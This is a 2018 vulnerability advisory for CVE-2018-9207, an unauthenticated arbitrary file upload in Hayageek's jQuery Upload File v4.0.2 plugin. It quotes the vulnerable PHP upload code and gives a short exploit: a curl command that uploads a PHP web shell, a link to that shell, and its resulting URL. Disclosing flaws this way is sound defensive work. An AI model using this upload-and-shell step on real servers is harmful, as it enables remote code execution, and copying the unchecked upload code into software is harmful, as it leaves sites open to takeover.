Arbitrary file upload vulnerability in jQuery Upload File v4.0.2

["Larry W. Cashdollar" <larry0 () me com>]

Title: Arbitrary file upload vulnerability in Hayageek jQuery Upload File v4.0.2
Author: Larry W. Cashdollar, @_larry0
Date: 2018-11-02
CVE-ID:[ CVE-2018-9207
CWE: CWE-434 arbitrary file upload
Download Site: http://hayageek.com/docs/jquery-upload-file.php
Vendor: Hayageek
Vendor Notified: 2018-11-02
Vendor Contact: hayageek () gmail com
Advisory: http://www.vapidlabs.com/advisory.php?v=206

Description: jQuery Upload File plugin provides Multiple file Uploads with progress bar.Works with any server-side 
platform (Google App Engine, PHP, Python, Ruby on Rails, Java, etc.) that supports standard HTML form file uploads.

Vulnerability:
The code in https://github.com/hayageek/jquery-upload-file/blob/master/php/upload.php doesn't check for a file type or 
for requiring any authentication allowing a user to upload an executable file to the /uploads/ directory if it exists. 
if(!is_array($_FILES["myfile"]["name"])) //single file { $fileName = $_FILES["myfile"]["name"]; 
move_uploaded_file($_FILES["myfile"]["tmp_name"],$output_dir.$fileName); $ret[]= $fileName; } else //Multiple files, 
file[] { $fileCount = count($_FILES["myfile"]["name"]); for($i=0; $i < $fileCount; $i++) { $fileName = 
$_FILES["myfile"]["name"][$i]; move_uploaded_file($_FILES["myfile"]["tmp_name"][$i],$output_dir.$fileName); $ret[]= 
$fileName; }

Exploit Code:
1. $ curl  -F  "myfile=@shell.php" "http://example.com/jquery-upload-file/php/upload.php";
2. ["shell.php"]
3.  
4. Where shell is https://github.com/lcashdol/shittyshell/blob/master/shittyshell.php
5.  
6.  
7. Shell is located http://example.com/jquery-upload-file/php/uploads/shell.php